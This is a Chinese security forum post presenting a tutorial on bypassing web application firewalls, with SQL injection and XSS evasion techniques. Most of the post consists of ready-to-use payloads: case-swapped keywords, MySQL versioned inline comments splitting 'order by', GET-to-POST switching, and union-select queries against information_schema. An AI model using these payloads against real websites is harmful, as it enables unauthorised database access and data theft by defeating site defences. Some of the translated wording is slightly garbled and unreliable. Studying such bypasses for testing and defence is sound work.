安全矩阵

 找回密码
 立即注册
搜索
查看: 2548|回复: 0

关于我想绕过WAF这件事

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-8-9 08:57:55 | 显示全部楼层 |阅读模式
原文链接:关于我想绕过WAF这件事

绕过waf关于如何绕过waf,其实就是绕过规则库而已,在这里给出关于我总结的思路和一些payload,但是并不保证实时性和时效性,所以,学习思路才能保证自己的payload能随时更新
一般在你测试网站的时候发现页面被拦截了,网络良好却一直转圈圈,很可能是被waf拦住了
这个时候可以一个一个试试是否出现违规字符或者被拦截了
例如说
可以进行尝试,1' and 1=1%23
或者可以先尝试1' 尝试,现在市面大部分waf都没有拦截',但是不排除有拦截的waf 然后去查看and 有可能你只用 id = 1 and 1并不拦截,但是用了 id = 1 and 1=1 这种完整的语句 就会拦截
但是注意的是存在情况 有些waf只拦截 get 不拦截post 所以可以 http://www.xxx.com/index.php?id=1 and 1=1 post: aaa
这样就不拦截了
0x01 让我们直视WAF

大小写转换法 在某些waf里,使用的正则不完善或者是没有用大小写转换函数
SQL: sEleCt vERsloN();
XSS: <sCrlpt>aleRt(1)</scrlpt>干扰字符污染 利用网站使用的语言函数特性老绕过waf的规则或者使用会无视的字符
SQL: select version()
SQL: select/*!*/`version`();过安全狗注入常规注入
首先你要了解关于mysql的注释特性
在MySQL里,多行解释 是 /* */,这个是SQL的标准 但是MySQL扩张了解释 的功能
假如 在开头的/*后头加了惊叹号,那么此解释里的语句将被执行
比如

/*! select * from test */;
>+------+
| id   |
+------+
|    1 |
|    2 |
|    3 |
+------+
再看如下语句
/*!50001 select * from test */;
这里的50001表示假如 数据库是5.00.01以上版本,该语句才会被推行 因此固然 你的mysql dump出来的成立 view的语句在解释 里,实际上它是会被执行的
假如 是以下内容,就不会推行 了,那是真正的解释 了 /* select * from test */; 内联注释

order/*!80000aaa*/by/*!80000aaa*/5
payload解释:因为加了内联注释,然后order/!80000aaa/by/!80000aaa/5 这句话数据库看到这里order by 被隔开了就没有拦截,然后进去数据库,数据库看到这里版本没有80000那么高,然后直接无视内联,然后就执行order by
有时候/!80000aaa/只有一个绕不过去,可以尝试多写几个绕过去 /!80000aaa//!80000aaa/这样

?id=1 union /*!/*!4select*/+1,2,3,4,5
用反引号逃逸关键符号

?id=1 union /*!90000aaa*/select 1,2,table_name,4,5/*!9000aaa*//*!90000aaa*/from+`information_schema`.tables where table_schema = 0x6D7973716C
payload展示





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 16:43 , Processed in 0.012926 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表